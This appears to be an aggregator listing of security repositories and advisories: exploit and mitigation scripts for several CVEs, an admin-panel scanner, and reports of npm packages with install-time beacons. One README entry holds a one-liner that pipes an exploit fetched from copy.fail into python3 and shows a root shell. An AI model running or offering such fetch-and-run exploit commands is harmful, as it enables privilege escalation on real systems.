laf

laf A python script that scans for admin/login panels on a given host or list of hosts. usage: laf.py -h -d host -l hostfile|- -sys system -c cookie -u user -da -p pass -ic -k -v Find admin/login panel for a single host -d or a list of hosts -l. optional arguments: -h, --help show this help messa...

CVE-2026-84244

IBM Guardium Data Protection 12.2 is vulnerable to a stored cross-site scripting (XSS) vulnerability in the Quick Search results grid . This flaw allows an unauthenticated attacker capable of influencing monitored database traffic to execute malicious scripts in the browser of an authenticated Gu...

google_socks

Este script se utiliza para permitir que dos sockets se comuniquen mientras retransmiten datos a través de Google Drive. Consulte esta publicación en el blog para obtener más detalles. Proceso de configuración Instale los módulos de Python necesarios ver más abajo Ejecute "python2 ./googlesocks.p...

CVE-2023-23583-Reptar-

CVE-2023-23583-Reptar- Este script puede ayudar a determinar el ID de la CPU para el procesador de su sistema; tenga en cuenta que no he agregado todos los ID de CPU a este script, edite según sea necesario...

CVE-2024-38063-Remediation

CVE-2024-38063-Remediation Script de auditoría Descargue el script usando un one-liner de PowerShell $downloadURI = 'https://raw.githubusercontent.com/dweger-scripts/CVE-2024-38063-Remediation/main/Audit-PatchInstalled-ipv6Vuln.ps1'; $script = 'C:\temp\Audit-PatchInstalled-ipv6Vuln.ps1';...

copy_fail_mitigation

copyfailmitigation 1. This script will attempt to mitigate the copyfail attack. CVE-2026-31431 2. Works on all Debian/Ubuntu Arch based platforms i.e. Kali, ParrotSec, BlackArch Usage: 3. cd 4. chmod +x copyfailmitigation.sh 5. Recommended to run as root 6. ./copyfailmitigation.sh...

testanull-CVE-2021-28482.py

This repository does not have a README...

testanull-CVE-2021-22005.py

Questo repository non contiene un README...

CVE-2021-30853

CVE-2021-30853 A simple POC script to test for CVE-2021-30657 affecting MacOS. This CVE allows bypass of gatekeeper, notraization and xprotect checks. Vulnerability detail This Vunlerability occurs when you don't define a interpreter or specify a interpreter that itself is a shell script in first...

copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash some usage: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...

Paranoid-Copy-Fail-CVE-2026-31431

================================ Paranoid AFALG hardening script ================================ Blocks all user-space kernel crypto interfaces AFALG + algif modules Mitigates CVE-2026-31431 and reduces future attack surface Safe for normal systems SSH, TLS, LUKS, WireGuard Only breaks rare apps...

CVE-2026-31431-Copy-Fail

CVE-2026-31431 - Verification and Mitigation Script This repository documents a Bash script used to assess exposure to CVE-2026-31431 on Linux hosts, with a focus on Ubuntu, and to apply a simple mitigation by blocking the algifaead module. Language versions: English: README.md Portuguese:...

Malicious code in @dransay/phone-fix-test (npm)

Source: amazon-inspector e01479e9a6af5de5f6abec6c16007bd3757b52b0e434b38b44d40fde12961c08 Package.json declares scripts.preinstall="node beacon.js", which fires automatically on npm install. beacon.js performs a DNS lookup and HTTPS GET to a hardcoded Interactsh/OAST subdomain under oast.site,...

Malicious code in @dransay/secrets (npm)

Source: amazon-inspector aef0f6b36413e45664391c5341f7c30a4501c2cc916add9ba6525bf57e559d51 The package declares a preinstall script that runs beacon.js, which performs a DNS lookup and HTTPS GET to a hardcoded Interactsh collector host db3klhbi6i9hark1kegg174t38h33b6wt.oast.site at npm install tim...

Malicious code in dransay (npm)

Source: amazon-inspector 46d06d0ce82913346840f676660d67f9838f48511e58eef793bfe7c52091071f [email protected] declares a preinstall lifecycle script that runs node beacon.js, which performs a DNS lookup and HTTPS GET against a hardcoded Interactsh oast.site collaborator subdomain...

cve-2021-44228-waf-tests

Simple bash script to test your WAF or other devices against Log4Shell attack strings and various bypasses Bypass tricks from: https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words To run: ./cve-2021-44228.sh -t -c Or to use the defaults of https://127.0.0.1 and 403: ./cve-2021-44228....

Search-log4Jvuln-AppScanSTD

Search log4J vuln using AppScan Standard and a list of websites This Powershell script run AppScan Standard scans against a list of web sites URLs.txt checking just for Log4J CVE-2021-44228 vulnerability. Structure of project: After run the script, it will read each line in URLs.txt and start...

CVE-2025-8625

CVE-2025-8625 — PoC Überblick Dieses Repository enthält die Quelldateien für einen Artikel auf Xakep.ru. Das Repository enthält Demonstrationsmaterial, das ausschließlich für Sicherheitsforschung, Bildung und Tests in isolierten Laborumgebungen bestimmt ist. Das Repository ist nicht für den Einsa...

CVE-2023-42793_POC

CVE-2023-42793 Exploit Script Overview This script is designed to automate the exploitation process for the CVE-2023-42793 vulnerability. It targets a specific service presumably affected by this vulnerability and attempts to delete a user token, create a new user token, and then create a new use...

CVE-2026-31431-exploit_py2_py3

CVE-2026-31431-exploitpy2py3 A CVE-2026-31431 script compatible with both Python 2 and Python 3 Usage: python2/3 exploitpy2py3.py escalate Reference from: https://github.com/Sndav/CVE-2026-31431-Advanced-Exploit...